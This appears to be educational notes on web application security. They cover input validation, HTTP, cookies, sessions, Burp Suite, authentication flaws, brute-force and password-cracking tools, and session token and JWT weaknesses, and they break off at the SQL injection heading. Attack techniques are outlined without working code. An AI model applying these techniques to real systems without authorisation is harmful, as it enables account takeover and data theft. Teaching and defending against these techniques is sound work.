Web Security Basics

In the early days of the Internet, the vast majority of websites were static. This means the content served to a user was largely fixed and identical for everyone, regardless of who was viewing it or when. The primary flow of information was in a single direction, exclusively from the server to the browser. User interaction was minimal, mostly limited to clicking links. Authentication and login mechanisms were either absent or rudimentary. Due to this lack of interactivity and personalized content, a compromise of an early website generally did not expose critical user or secret business information.

Today, the Web is dominated by web applications: highly interactive and complex systems that extend far beyond simple content delivery. These applications are the backbone of e-commerce, social media, and business operations. A bidirectional flow of information is now the norm, requiring constant interaction and communication between the user (client) and the server. This heavy communication extensively on Application Programming Interfaces (APIs) to facilitate the exchange of data and services. Modern web applications are composed of multiple, interconnected components that work together (e.g., Databases, Scripting Code, Mail Servers, Cloud Storage, etc.). Web pages are dynamically generated in real-time. Their content is highly personalized and dependent on factors like the user's authentication status and the specific systems making the request. Crucially, web application typically store, process, and transmit critical information, including personal data, financial records, and proprietary business secrets. This makes robust security and authentication non-negotiable, as a compromise can have significant, high-impact consequences.

1.1 The Core Security Challenge: Arbitrary Input

The main security problem facing modern web application sis the handling of arbitrary input. Attackers can deliberately manipulate inputs to a web application, such as URL parameters, POST request bodies, cookies, or HTTP headers, to alter the application's intended behavior. This manipulation can be used for various malicious purposes, including bypassing security controls, fraud, impersonation, data theft and so on.

It is critical to enforce strict security and validation over every piece of data a user provides. The basic defense mechanism must revolve around the fundamental acknowledgment that a web application can receive arbitrary, potentially hostile inputs. This necessitates proactive measures, which include:

- *Handling User Authentication Data*: Ensuring that mechanisms prevent one user from successfully logging in or acting as another user.
- *Handling Possible Malformed Inputs*: Validating and sanitizing all inputs to prevent data that is structurally incorrect or contains malicious code from being processed.
- *Handling Potential Attacker Actions*: Implementing controls to prevent denial-of-service (DoS) style actions, such as slowing down or overwhelming the system through multiple subsequent, rapid operations.

- *Administrator Actions to Log Application Activity*: Maintaining comprehensive logs of application activity to monitor for suspicious behavior and provide an audit trail for forensic analysis.

Handling User Authentication Data. Securing a web application begins with reliably determining and controlling who a user is and what they are allowed to do. This involves three interconnected concepts: Authentication, Session Management, and Access Control.

(1) Authentication is the process of correctly verifying a user's claimed identity. While the lowest degree of access is anonymous, this is largely avoided or restricted in modern applications that handle sensitive data. Credential-based authentication is the most straightforward and common method, and relies typically on a username and password. However, relying solely on standard username/password combination is often considered weak due to their susceptibility to various attacks (e.g., brute-forcing, dictionary attacks, or credential stuffing). To counter these weaknesses, multifactor authentication (MFA) is widely employed. MFA requires the user to provide two or more distinct verification factors.

(2) Once a user is authenticated, Session Management provides a powerful way for the application to handle multiple, subsequent requests from the same user without requiring them to log in again for every action. Applications typically generate a unique, cryptographically secure session token that identifies the user's active session. This token is then transmitted (usually via a cookie or HTTP header) with every authenticated communication between the browser and the server. Because this token is the *de facto* identity of the user for the duration of the session, the security of these tokens is crucial. If an attacker steals a valid session token (a process known as session hijacking), they can impersonate the legitimate user.

(3) Finally, Access Control determines which contents, resources, or functions an authenticated user is permitted to utilize or view. By default, access control ensures that unauthorized users cannot access specific contents meant only for logged-in or administrative users. Access control is also used to limit the actions of authenticated users based on their role. For example, in a banking application, money transfers might be limited to users who have completed extra verification steps, or an administrative panel may only be accessible by users with the "Administrator" role.

Handling Malformed Inputs. A fundamental step in securing a web application is the rigorous evaluation of all data submitted by the user. Arbitrary input can be deliberately malformed or crafted to trick the application into parsing unexpected data or executing hostile commands. To mitigate this, applications employ several strategies. Many forms put limitations on what the user can insert (e.g., character limits, allowed formats), while others may employ hidden form values: data sent with the form that the user is not intended to see or deliberately manipulate. However, these checks are easily bypassed by savvy attackers who can manipulate the raw HTTP request, meaning server-side validation is always mandatory. The primary defensive techniques for handling malformed inputs are:

- *Reject Known Bad*: This technique involves blacklisting specific input patterns, keywords, or characters known to be associated with attacks. The application scans the input for malicious signatures, such as SQL keywords (`SELECT` , `UNION` , `DROP`) or script tags (`<script>`) associated with SQL Injection or Cross-Site Scripting (XSS) attacks. Blacklisting is easily bypassed by attackers who user obfuscation. For example, blocking `SELECT` can be circumvented by using `SeLeCt` or encoding techniques. Attackers may use a NULL-byte attack (injecting `%00`) in the input string. In some older or poorly written applications, the server-side logic might stop processing the string at the first null byte, causing the security filter to not analyze the rest of the string. However, the subsequent application logic (like a database query) might still execute the full, malicious payload.

- *Accept Known Good and Sanitization*: This approach is significantly more robust than blacklisting because it defines and accepts only a safe subset of possible inputs. Accept Known Good employs a whitelist of explicitly accepted characters, formats, or values. If an input contains anything outside this approved list, it is rejected. This is often the most effective way to filter input, especially for fields with known constraints (like a phone number or a specific set of drop-down options). Sanitization provides automatic fixes to input that is potentially malicious but cannot be automatically be rejected. Instead of rejecting the whole input, sanitization modifies the dangerous parts: for instance, replacing `<` , `>` , and `&` with their harmless HTML entities (`&lt;` , `&gt;` , `&amp;`) before the data is stored or displayed.

- *Safe Data Handling and Semantic Checks*: These techniques focus on processing data securely, regardless of the input source. Safe Data Handling means utilizing formally correct coding procedures to prevent the application's underlying code from misinterpreting user input as code. The best example is using parameterized queries (or prepared statements) for all database interactions. This technique ensures user input is always treated purely as data and can never be executed as part of an SQL command, virtually eliminating most forms of SQL Injection. While an input may be syntactically correct and not contain malicious characters, it can still be used in malicious ways based on the context of the transaction. A semantic check ensures that the data makes logical sense in the context of the application's business logic. For example, a user attempting to purchase an item might pass a price parameter that is technically a valid number, but a semantic check would reject it if the price doesn't match the actual, server-side price of the product.

It is tempting to believe that simple data sanitization at the point of entry is sufficient to secure a web application. This approach assumes that one only needs to worry about the raw input data and not the internal web application logic, leading to the idea that all checks can be performed as a single, monolithic, a priori phase. However, relying on a single input validation step is insufficient. Web applications perform multiple data processing steps across various internal components. Data that is safe at the entry point might become hostile after an intermediate processing step. The variety and complexity of potential attacks are too high to be fixed in one phase. Furthermore, the sanitization techniques effective against one attack (e.g., removing angle brackets for XSS) might not be compatible or effective against another (e.g., preventing a logic flaw). The correct approach is Boundary Validation, which means making checks in multiple stages throughout the application's lifecycle. The necessary checks depend heavily on which components are being run by the web app. For instance, input passed to a database requires parameterized queries, while input being rendered back to a user's browser requires HTML entity encoding. Checks are performed by considering the input that is passed at each state: at the external boundary and at every internal boundary.

Handling Attackers. When a web application is directly targeted, defensive strategies shift from passive prevention (like input validation) to active defense, monitoring, and reaction. The core objective is to reduce the attacker's motivation and opportunity by implementing robust error handling, detailed logging, and a swift incident response plan.

- *Handling Errors*: When an unexpected event occurs (such as trying to visit a non-existent page or a server-side exception), the application must avoid leaking sensitive information. The primary goal of secure error handling is to mask internal server details. Generic error messages (e.g., "An unexpected error occurred") should be shown to the user, while detailed information (e.g., stack traces, database query errors, server paths) must be logged internally but never displayed publicly. Leaking such details can provide attackers with clues about the application's architecture and potential vulnerabilities.
- *Maintaining Audit Logs*: Audit logs are indispensable tools for monitoring system activity, conducting forensic analysis, and detecting suspicious behavior. Logs should comprehensively monitor critical user activities, including: successful and failed login attempts, payment transactions and other business-critical actions, and blocked access attempts and security violations. Every log record must contain essential information to identify and trace the event, such as timestamp, source IP address, and the session ID or user account.
- *Alerting Administrators and Reacting to Attacks*: Automatic alerts are essential for enabling prompt administrative reactions to ongoing attacks. Alerting systems are typically triggered by anomalies, such as:
  - Usage Anomalies: Sudden spikes in failed login attempts or unusually high request volumes.
  - Business Anomalies: Transactions outside typical parameters (e.g., an unreasonably large money transfer).
  - Attack Signatures: Requests containing known malicious strings or attempts to manipulate hidden form data.

  Upon detection, automated or manual reactions can be deployed: intentionally slowing down requests from a suspicious source to hinder automated attacks, temporarily or permanently banning specific source IP addresses or user accounts. Automatically logging out users after a certain time or number of failed attempts.
- *Securing Administrative Functionalities*: The administrative components of a web application represent a high-value target and a severe vulnerability if compromised. Administrative Functionalities are often assumed to be more secure than public-facing parts, but vulnerabilities here can allow an attacker to compromise the entire application (e.g., gain full database access or execute remote code). Administrators possess powerful privileges, such as the ability to influence other users' sessions, view sensitive information, or grant powerful access rights. If an attacker gains access to the administrator panel, they acquire these same, potentially devastating, capabilities.

Web Application Protocols

2.1 HTTP

HTTP, or Hypertext Transfer Protocol, is the foundational communication protocol of the World Wide Web. The fundamental interaction involves a client sending a message (a request) to a server, which then processes it and sends a message back (a response) to the client. HTTP typically utilizes TCP (Transmission Control Protocol) connections for reliable data transfer. Crucially, HTTP is a stateless protocol, meaning that each request-response exchange is independent and self-contained; the server does not inherently remember past interactions with the client. While various requests might use different TCP connection variants, the protocol's core request/response mechanism remains autonomous.

Request. An HTTP Request is structured with several key parameters:

- *Method (or Verb)*: Specifies the action to be performed on the target resource (e.g., `GET`, `POST`, `PUT`, `DELETE`).
- *Resource*: Specifies the part of the URL identifying the target resource.
- *HTTP Protocol Version*: Indicates the version of the HTTP protocol being used (e.g., `HTTP/1.1`, `HTTP/2`, `HTTP/3`).
- *Host*: Specifies the hostname (domain name) of the server for the requested resource.
- *User-Agent*: Provides information about the client application (usually a browser) that generated the request, including its type and operating system.
- *Referer*: Indicates the URL of the page that linked to the requested resource.

```http
POST /api/login HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/json
Content-Length: 52
Referer: https://www.example.com/login


{"username": "alice123", "password": "superSecret123"}
```

Figure 1 / Example HTTP POST request for user authentication

Other important request parameters (often included as headers) include:

- *Connection*: Controls whether the underlying network connection should remain open or be closed after the current transaction finishes (e.g., `keep-alive`, `close`).
- *Cache-Control*: Used to specify caching directories for both requests and responses, influencing how intermediaries and the client should store and reuse responses.

- *Upgrade-Insecure-Requests*: Sends a signal to the server (typically with a value of `1`) expressing the client's preference for an encrypted and authenticated response, often prompting a redirect to a secure HTTPS server.
- *Sec-Fetch-**: A set of experimental headers (like `Sec-Fetch-Mode` , `Sec-Fetch-Dest` , `Sec-Fetch-Site`) designed to provide contextual information about the request (e.g., its origin and purpose) to allow the server or intermediaries to determine a priori if the request should be served, primarily for security against cross-site leaks.
- *Accept*: Provides a list of media types (e.g., `text/html` , `application/json`) that the client is capable of processing. This can be refined by related headers such as `Accept-Encoding` and `Accept-Language` .

In a standard URL structure, parameters are often passed using a query string, which begins with a question mark (`?`). This character signifies the start of the key-value pairs used to pass data to the server. The query string is used to pass parameters or data to the resource identified by the URL. The ampersand character (`&`) is used as a delimiter to combine multiple parameters within the query string. REST (Representational State Transfer) architecture provides an alternative and often cleaner way to represent resource addresses, favoring path variables over query strings for identifying a resource or a collection of resources. In RESTful URLs, resources are typically identified by hierarchical paths that align with their logical structure, promoting better clarity and meaning. Instead of `.../users?id=123` , a RESTful approach might use `.../users/123` to uniquely identify user 123.

URL Encoding defines the set of Allowed ASCII codes as ranging from `0x20` to `0x7e` . Some problematic characters (for example: `0x20` for space, `0x0a` for line feed) are encoded using the percent sign followed by the character's hexadecimal value, like `%20` or `%0a` . This process is necessary to ensure that characters that have special meaning in a URL, or those that are non-printable, are transmitted safely. In some cases, especially for characters belonging to other languages, UNICODE is used. This typically involves a two-byte representation in older URL encoding standards, as seen in the example `%u2215` → `/` . UTF-8 is the modern and most common standard, being a multibyte way to represent characters. An example of a UTF-8 encoding is `%e2%89%a0` . This encoding is widely used for data transmitted across the web, including parameters like those found in HTTP cookies. Beyond URL and character set encodings, other formats are employed for data integrity and representation. HTML encoding uses entities to represent special characters that might conflict with the document's markup (e.g., `&quot` ; → "). Base64 encoding is useful to represent binary data (like cryptographic keys or images) as ASCII strings, so they can be safely included in text-based protocols like HTTP headers. Finally, Hex encoding is also useful to represent raw binary data in a readable, two-character hexadecimal format.

Response. The following parameters are typically found in the response header:

- *HTTP Protocol Version*: Indicates the version of the HTTP protocol the server used for the response.
- *Status Code*: A three-digit number that indicates the result of the request attempt. The first digit defines the class of the response: `1xx` (Informational), `2xx` (Success, e.g., 200 OK), `3xx` (Redirection, e.g., 301 Moved Permanently), `4xx` (Client Error, e.g., 404 Not Found), and `5xx` (Server Error, e.g., 500 Internal Server Error).

- *Reason Phrase*: A short, readable sentence that further explains the status code (e.g., for status code 200, the reason phrase is "OK").
- *Data*: Specifies the data and time when the response was generated by the server.
- *Accept-Ranges*: If this field is present and its value is different from `none`, it signifies that the server can accept and process partial requests for the resource.
- *Last-Modified*: The data and time of the last modification of the requested resource on the server. Clients can use this to optimize caching by sending conditional requests.
- *Access-Control-**: A group of fields (e.g., `Access-Control-Allow-Origin`) related to Cross-Origin Resource Sharing (CORS). These fields define which external domains are allowed to access the resource and how, acting as a crucial part of access control for web applications.

```HTTP
HTTP/1.1 200 OK
Date:  Mon, 21 Oct 2024 14:30:00 GMT
Server:  Apache/2.4.41 (Ubuntu)
Last-Modified:  Fri, 18 Oct 2024 09:15:22 GMT
Accept-Ranges:  bytes
Content-Length:  1256
Content-Type:  text/html; charset=UTF-8
Access-Control-Allow-Origin:  *
Connection:  keep-alive


<!DOCTYPE html>
<html lang="en">
<head>
<title>Alice's Profile</title> ...
```

Figure 2 / Example HTTP response for successful login.

Cookies. Cookies are tokens that a server sends to the user's web browser. Their primary purpose is to help maintain state in the otherwise stateless HTTP protocol, allowing the server to remember information about the user across multiple requests. A cookie is initially created and sent by the server via the response header `Set-Cookie` (e.g., `Set-Cookie:  tracking=tI8rk7joMx44S2Uu85nSWc`); multiple cookies can be issued by sending multiple `Set-Cookie` headers in a single response. In subsequent requests to the same server, the client automatically retransmits the saved cookie data using the `Cookie` header (e.g., `Cookie:  tracking=tI8rk7joMx44S2Uu85nSWc`). Cookies are typically stored as key-value pairs, though they can also be a single string without spaces.
The behavior and score of a cookie are controlled by parameters set within the initial `Set-Cookie` header:

- *Expires*: Defines a specific date and time after which the cookie will be deleted by the browser. If set, this causes the browser to save the cookie to persistent storage on the user's hard drive, allowing it to be reused in subsequent browser sessions until the expiration data is reached.
- *Domain*: Specifies the domain for which the cookie is valid. The value must be the same domain that set the cookie or a parent domain. The browser will only send the cookie to

requests made to this specified domain or its subdomains.

- *Path*: Specifies the URL path on the server for which the cookie is valid. The cookie will only be submitted for requests whose path starts with this value.
- *Secure*: A flag indicating that the cookie should only be submitted by the browser over secure channels, meaning the cookie will only be sent with HTTPS requests, preventing transmission over unencrypted HTTP.

2.2 Server/Client-Side Technologies

Server-Side. Parameters are sent to the server in multiple ways: by using the query string (starting with `?` in the URL), by employing the REST interface style (where they are embedded in the URL path), by embedding them in HTTP cookies (sent via the `Cookie` header), or by embedding them in the request body when using `POST` requests. The server processes various parts of the HTTP request, and these parameters can have a huge impact on the response. For example, a certain value of the `User-Agent` header can influence the specific page or content that is visualized by the user (e.g., serving content optimized for a mobile browser). Multiple components are used on the server's side, including: scripting languages (such as PHP and Perl), web application platforms/frameworks, web servers (to handle requests), databases and filesystems (for asset storage).

Client-Side. The user interface is essential for enabling proper communication with the server, allowing results to be presented to the user and data to be sent back to the server.

- *Hyperlinks*: These are a compact way for a user to navigate and external URL (e.g., `<a href="https://www.example.com/products">View Products</a>`). HTML Forms are extensively used to collect data from the user and send it to the server, often using `GET` or `POST` requests.
- *CSS*: CSS (Cascading Style Sheets) is used to describe the presentation of a document written in markup languages (e.g., HTML). CSS instructs the browser on how to render the contents of a resource. CSS syntax uses selectors to define a class of markup elements (e.g., all paragraphs, or elements with a specific ID) to which a given set of visual and layout attributes should be applied.
- *JavaScript*: This is a scripting language that enables the client (browser) to perform actual data processing. This can improve the application's performance by offloading part of the workload from the server to the client. It also enhances usability by allowing parts of the user interface to be dynamically updated without full page reloads. JavaScript is used to:
  (1) Validate the user's data before it gets submitted to the server, catching errors locally.
  (2) Control the browser's behavior by updating the Document Object Model (DOM). The DOM is an abstract, tree-like representation of an HTML document that can be manipulated through APIs. It allows scripts to access and manipulate individual HTML elements.
- *Ajax*: Ajax (Asynchronous JavaScript and XML) is a set of techniques that employs scripting to handle certain user actions asynchronously. By doing this, the application can exchange data with the server and update parts of a page without requiring a full page reload, significantly improving responsiveness. In Ajax applications, the client communicates their action to the server using the `XMLHttpRequest` API (or the more modern `fetch` API). The server replies with compact data, often formatted as JSON. JSON (JavaScript Object Notation) is a lightweight data interchange format used to serialize data. This compact

JSON data is then received and further processed by the client-side scripting language do dynamically update the DOM.

Sessions. The concept of a Session is crucial for maintaining a sense of continuity for a user across the stateless HTTP protocol. Once a user is authenticated, they can perform multiple actions, and the web application must be sure that each subsequent request is issued by the same user. For this reason, the server maintains a data structure that holds the user's current state and related information. This server-side data structure is called the session. Since HTTP is stateless, a unique session identifier must be constantly sent by the client and received by the server to look up and update the user's activity. There are many ways to manage and implement sessions, with the most commonly used mechanism being HTTP Cookies. A unique session ID is typically stored in a cookie on the client side; this cookie is then retransmitted with every request. The reliance on these external parameters can be dangerous if an attacker can access or hijack them, potentially leading to session hijacking and unauthorized access to the user's account.

2.3 Burp

Burp Suite is a professional, modular, Java-based software suite designed for comprehensive security testing and analysis of web applications. It operates fundamentally as an HTTP/HTTPS proxy, positioning itself as a man-in-the-middle to intercept, inspect, and modify all traffic between the client's browser and the target server. Its modular design allows for numerous extensions (plugins) and includes tools for executing various types of attacks, such as:

- Web application enumeration.
- Bruteforcing request (Intruder).
- Manual manipulation and resending of requests (Repeater).
- Automated scanning for known vulnerabilities (Scanner).

The `Target` tool serves as the core hub for a penetration testing project, providing a consolidated, high-level overview of the target application's content and functionality. Its primary components and functions are:

- *Site map*: A hierarchical tree view that records all discovered application content (hosts, folders, files, parameters). This map is populated through traffic passing through the Proxy and through Live Passive Crawling. It helps the tester visualize the application's complete attack surface.
- *Scope*: This is used to explicitly define which hosts, protocols, and URLs are in-scope for the current testing project. Setting the scope is critical because it allows the tester to filter out irrelevant traffic in the Proxy history and Site map, and configure Burp's other tools to only process traffic directed at the intended target, preventing accidental attacks on out-of-scope systems.

Burp's security auditing capabilities are split into Active and Passive checks. Passive analysis is a fundamental, non-intrusive method of vulnerability identification. The passive scanner works by only analyzing the requests and responses that naturally pass through Burp's proxy. It does not send any new, modified, or specially crafted requests to the server, ensuring the target application is not affected or alerted.

The `Proxy` tool is the fundamental and most frequently used component of Burp Suite, acting as an intercepting web proxy. The proxy is configured to sit between your browser and the web application's server. All traffic must pass through Burp, making it a powerful MITM tool. The

primary feature is its ability to intercept all incoming and outgoing HTTP/HTTPS messages. When interception is turned on, the tool holds the request or response, preventing it from continuing its journey until the tester manually forwards it. While a message is intercepted, the tester can inspect and modify any part of the raw data, including the URL, headers, and the message body. The HTTP History sub-tab logs every request and response that passes through the proxy. This creates a complete, searchable record of the application's entire traffic flow, which is essential for discovery and later analysis.
The `Repeater` tool is designed for manual, iterative testing of individual HTTP and WebSocket requests. It is the core tool for manually exploring the behavior of a specific application endpoint. It allows a tester to take a single request, modify it, and resend it repeatedly to the server without needing to interact with the browser again. Repeater is ideal for testing input-based vulnerabilities through trial and error, such as:

- *Injection Flaws* (e.g., SQL Injection, XSS) by repeatedly adjusting parameters with various payloads.
- *Access Control Flaws* (e.g., IDORs) by changing parameter values like user or product ids to access unauthorized resources.
- *State Manipulation* by sending requests in a specific sequence to test multistep processes.

Each request sent to Repeater is given its own tab, allowing the tester to work on multiple distinct test cases simultaneously. Within each tab, a full history of the modifications and corresponding server responses is maintained, making it easy to track testing progress and compare different responses.

Spidering and Parameter Analysis. Spidering is an essential reconnaissance technique used to automatically discover and map the entire content and hierarchy of a web application, including its folders, files, and links. Automatic spidering tools work by mimicking a user's navigation to systematically build a complete site map. The tool starts with an initial URL, analyzes the HTML content of the page, automatically detects all embedded links, parses forms, and follows these links to recursively discover deeper parts of the site. The `robots.txt` file, typically located in the web app's main folder `root`, contains a list of directories and files that search engines are requested not to retrieve. It is important to note that this is only a convention. A malicious spider will often check this file precisely because it may inadvertently expose hidden or sensitive areas of the application.
Automatic tools are effective but face several limitations, especially with modern applications:

- *Dynamic Content*: They often cannot automatically parse content generated dynamically on the client-side (e.g., using complex JavaScript scripts), leading to skipped resources.
- *Non-Standard Content*: Links embedded within legacy objects like Flash or Java applets are frequently skipped.
- *Multi-State Functionality*: Complex workflows, such as multistep forms or multipage checkout processes, are often not parsed or traversed correctly as the tool may fail to maintain the necessary session state or required sequence of steps.
- *Authentication and Session*: Spiders generally cannot automatically handle authentication mechanisms. The tester must manually provide session tokens or configure Burp to manage the session state.

To overcome the limitations of automatic tools and to gain context, manual spidering is performed concurrently with the automatic process. The tester should manually attempt to access the paths listed in the `robots.txt` file, as the list itself is an information disclosure vulnerability. Manually reviewing JavaScript source code can reveal URLs, functions, and endpoints that are

never linked in the visible HTML but are called dynamically. The tester must manually log into the application and then browse through all privileged or user-specific pages. This action forces the traffic to pass through the Burp Proxy, populating the Site map with authenticated-session resources.
In single-URL applications, the functionality is determined not by a new URL path, but by modifying a parameter within the request to a single resource. Spidering the base URL repeatedly will be unproductive. The key is to analyze and test the request parameters. The internal application logic is often controlled by a specific parameter, such as a hidden form field or a query string value.

```http
POST /bank.jsp HTTP/1.1
Host:  wahh-bank.com
Content-Length:  106
servlet=TransferFunds&method=confirmTransfer&fromAccount=10372918&to
        Account=3910852&amount=291.23&Submit=Ok
```

In the request above, the functionality being accessed is completely controlled by the `servlet` and `method` parameters. To enumerate other possible functionalities, a tester would use the Repeater or Intruder tools to modify these parameter values and observe the server's response. This is essential for discovering hidden or undocumented application functions.

HTML and PHP Security

3.1 Authentication Technologies

HTTP Request-Based. HTTP Request-Based Authentication mechanisms directly embed user credentials within the HTTP request itself. While historically used, this approach is fundamentally insecure as it often exposes or weakly protects authentication data during transmission. Authentication in this manner is broadly handled through three major techniques:

(1) *Basic Authentication (HTTP Header)*: Credentials are sent within an HTTP header, typically the `Authorization` header, after being encoded using Base64. This is a simple reversible encoding scheme that translates binary data into a set of 64 standard ASCII characters (A-Z, a-z, 0-9, +, /, and = for padding). It is not encryption; its primary purpose is to ensure that binary data can be reliably transmitted over mediums that were originally designed for plain text, preventing data corruption.

(2) *NTLM (NT LAN Manager)*: This technique combines HTTP requests with the proprietary NTLM protocol. It is a challenge-response protocol that attempts to verify a user's identity without sending the password over the network.

(3) *Challenge-Response Mechanisms (MD5)*: These mechanisms use an MD5 hashing function to process a shared secret and a server-issued random value to generate a response. The server then compares this response to its own calculated hash. However, MD5 is cryptographically broken and is no longer considered secure for password hashing or challenge-response protocols due to vulnerability to collision and brute-force attacks.

Form-Based. Form-Based authentication is the most common method of web authentication, where the user supplies credentials via an interactive HTML form displayed on a webpage. The user inputs their username and password into the designed fields. Upon submission, the data is packaged into an HTTP request, typically a POST request. The credential parameters are sent within the request body. Alternatively, though highly insecure, they could theoretically be appended to the URL as query parameters.
The security of Form-Based authentication largely relies on how the transmission is protected. If the application uses HTTP instead of HTTPS, the entire request, including the credentials in the request body, is transmitted in plaintext and can be easily intercepted by an attacker performing a man-in-the-middle attack. This method is particularly susceptible to phishing attacks, where an attacker creates a fake, malicious login page that mimics the legitimate one to trick users into submitting their credentials.

Client SSL Certificates. Client SSL Certificates enforce authentication where both the client and the server must cryptographically prove their identities to each other before establishing a connection. This is a two-way authentication process that ensures a high level of security:

(1) *Server Proves Identity*: The client initiates the connection and requests a resource. The server responds by presenting its Server Certificates (which contains its public key). The client verifies this certificate to ensure it's communicating with the legitimate server.

(2) *Client Proves Identity*: If the server's identity is successfully verified, the server then requests the client to present its Client Certificate.

(3) *Validation and Access*: The server validates the client's certificate against a trusted list. If the certificate is valid, the client's identity is confirmed, and access is granted.

3.2 Authentication Design Flaws

The most significant flaw in any authentication system is the acceptance of weak passwords. These include blank passwords, credentials identical to the username, common dictionary words, or using factory default passwords. Implementing and enforcing a robust password policy is essential to mitigate these risks.

Brute-Force Attacks. Web applications must implement strong defenses against brute-force attacks, which systematically try to guess credentials by attempting numerous combinations. The flaw exploited here is the lack of a limit on the number of failed login attempts. Types of brute-force attacks include:

- *Simple Brute-Force*: Exhaustively trying every possible character combination within a defined length.
- *Dictionary Attack*: Using lists of common passwords, leaked passwords, or user-specific words.
- *Hybrid Attack*: Combining dictionary words with numerical or symbol permutations to increase complexity while remaining focused.
- *Rainbow Tables*: Pre-computed tables of password hashes used for offline cracking, particularly effective when an application stores weakly-hashed passwords.
- *Reverse Brute-Force*: Starting with a single, common password and trying it against a large list of usernames.

These tools are widely used by security professionals to test the resilience of authentication systems:

- *Burp Intruder*: A component of the Burp Suite, this tool automates customized attacks against web applications by repeatedly sending a base HTTP request with various payloads inserted into defined positions. It's highly flexible for brute-forcing, fuzzing for input-based vulnerabilities, and enumerating valid identifiers by analyzing differences in server responses (e.g., status code, length).
- *Turbo Intruder*: A Burt Suite extension designed for attacks requiring exceptional speed and volume. It utilizes a custom, high-speed HTTP stack and Python scripting for flexible attack configuration. It's ideal for high-concurrency brute-forcing and complex, multistep attack sequences like race conditions, sending vast numbers of requests in a short time.
- *WFUZZ*: A command-line tool known as a "Web Application Fuzzer". It is payload-driven; the user identifies where to inject data in an HTTP request (marked by the keyword `FUZZ`), and Wfuzz replaces that keyword with values from a user-defined wordlist.
- *THC-Hydra*: An open-source, fast network login hacking tool designed to perform dictionary attacks and brute-force attacks against numerous protocols and services (e.g., HTTP, FTP, SSH, RDP, databases). It is notable for its versatility and parallelization capabilities, which allow it to launch multiple connection attempts simultaneously to rapidly test credentials.

From the web application's perspective, employing strong defense-in-depth strategies for credential handling is crucial.

Strong Credentials and Storage.

(1) *Strong Password Policy Enforcement*: Applications must enforce the use of strong passwords by avoiding short lengths, requiring a mixture of character types (uppercase, lowercase, digits,

and special characters), actively checking against lists of common/dictionary passwords, and allowing for very long passwords (the longer, the better).

(2) *Secretive Handling*: Credentials must be handled securely in transit using SSL/HTTPS encryption to prevent eavesdropping.

(3) *Password Hashing*: Passwords are never stored in plaintext. They are processed by a cryptographic hashing function that generates a unique, fixed-length string corresponding to the original password. To enhance hash security, a salt is used. A salt is a unique, randomly generated value that is prepended or appended to the password before it is hashed. This ensures that even if two users choose the same password, the resulting hash in the database will be different, effectively preventing attackers from using Rainbow Tables and slowing down general brute-force attempts.

Authentication Flow Security.

(1) *Brute-Force Mitigation*: Applications must actively prevent brute-force attacks by:
   - Rate Limiting: Slowing down subsequent login attempts after a few failures to make high-volume automated attacks impractical.
   - Account Lockout: Implementing a strict limit on the number of consecutive failed logins before locking the account for a defined period.
   - CAPTCHAs: Requiring a successful CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) after repeated failures to force a human check.

(2) *Username Enumeration Prevention*: Error messages should be generic (e.g., "Invalid username or password") to prevent an attacker from easily determining whether an account exists.

(3) *Validation Integrity*: Credentials must be validated properly; the application should never truncate a long password before hashing or validation, as this can undermine the security of complex passphrases.

(4) *Multi-Factor Authentication*: MFA must be implemented carefully. The user's primary credential (password) should be sent only once. All subsequent verification steps (e.g., handling the second factor code) should be managed server-side, ensuring all intermediate data is handled securely and statefully.

(5) *Password Change Policy*: Password changes should only be permitted for authenticated users to prevent unauthorized changes, and the change form should also be protected by measures like CAPTCHAs and session tickets.

These tools are utilized for offline password cracking against stolen password hashes.

- *Hashcat*: A powerful, open-source password recovery utility often considered the world's fastest by leveraging the parallel processing power of a computer's GPU. It supports various attack modes (e.g., Dictionary, Brute-Force, Hybrid, Mask) against a huge number of hashing algorithms.
- *John the Ripper*: A free and open-source command-line password cracking tool used for both security auditing and password recovery. JtR Can automatically detect the hash type and supports multiple cracking modes, including Dictionary Mode, Single Crack Mode, and Incremental Mode.
- *CrackStation*: This is not a standalone software tool but an online lookup service that performs a reverse hash lookup. Users submit a hash, and the service checks it against a massive, pre-computed database of billions of known plaintext passwords and their corresponding hashes. This allows for instantaneous cracking of weak, unsalted, or commonly used password whose hashes are already in the database.

Attacking Session Tokens. Session tokens are credentials, typically long, pseudo-random strings embedded in cookies or HTTP headers, sent by the server to the client to enforce a persistent, trusted session after initial authentication. If compromised or predictable, these tokens can be exploited to establish a forged session with the server, bypassing the login process entirely. Token vulnerabilities arise when the token generation logic is flawed, making the tokens guessable or reversible.

(1) *Meaningful Tokens*: These tokens directly encode user-specific information (e.g., user ID, role, or expiry time). They often use basic, reversible encoding schemes like Hexadecimal or Base64. Once the encoding is identified, an attacker can decode a valid token, modify the plaintext data, and then re-encode the string to create a forged token. This is often much more efficient than brute-forcing credentials.

(2) *Predictable Tokens*: These tokens do not necessarily embed user data but follow a discernable, non-random logic for their generation. Tokens being generated sequentially, tokens being structured predictably, reliance on the generation time, or the use of a Weak Random Number Generator, which makes the next token in the sequence easy to guess.

(3) *Encrypted Tokens*: These tokens encrypt user information using symmetric encryption algorithms (like DES, AES, or others) to protect the integrity of the data. Attackers can exploit weaknesses in the chosen block cipher mode, such as Electronic Codebook (ECB) mode or Cipher Block Chaining (CBC) mode, allowing for analysis or manipulation of the encrypted blocks without knowing the key.

JSON Web Token (JWT) is an open standard defining a compact and self-contained format for securely transmitting information as a JSON object. This information is digitally signed for integrity and trust. A JWT consists of three parts separated by dots (`.`):

(1) *Header*: Contains the metadata about the token, including the signature algorithm used (e.g., HMAC with SHA-256 or RSA).

(2) *Payload*: Contains the claims about an entity and additional data. These claims are often viewable but must be trusted only because they are signed.

(3) *Signature*: Used to verify the sender of the JWT and ensure the token hasn't been tampered with. The signature is created by taking the Base64-encoded header, the Base64-encoded payload, a secret key, and running it through the specified signing algorithm.

The security of a JWT relies entirely on the secrecy of the signing key and the strength of the algorithm. If the secret key is leaked, an attacker can forge a valid signature, creating a malicious token that the server will trust.

Injection-Based Attacks

Injection is a class of vulnerability where an application is tricked into processing user-supplied data as executable code or commands. This typically arises when an application incorporates unvalidated user input directly into a code interpreter. The exploited technology often relies on interpreted languages, allowing an attacker to modify the logical flow of the application. The primary goals of injection attacks include bypassing authentication, extracting sensitive information, or achieving remote code execution. The three major types include SQL Injection, Command Injection, and Server-Side Template Injection.

4.1 SQL Injection

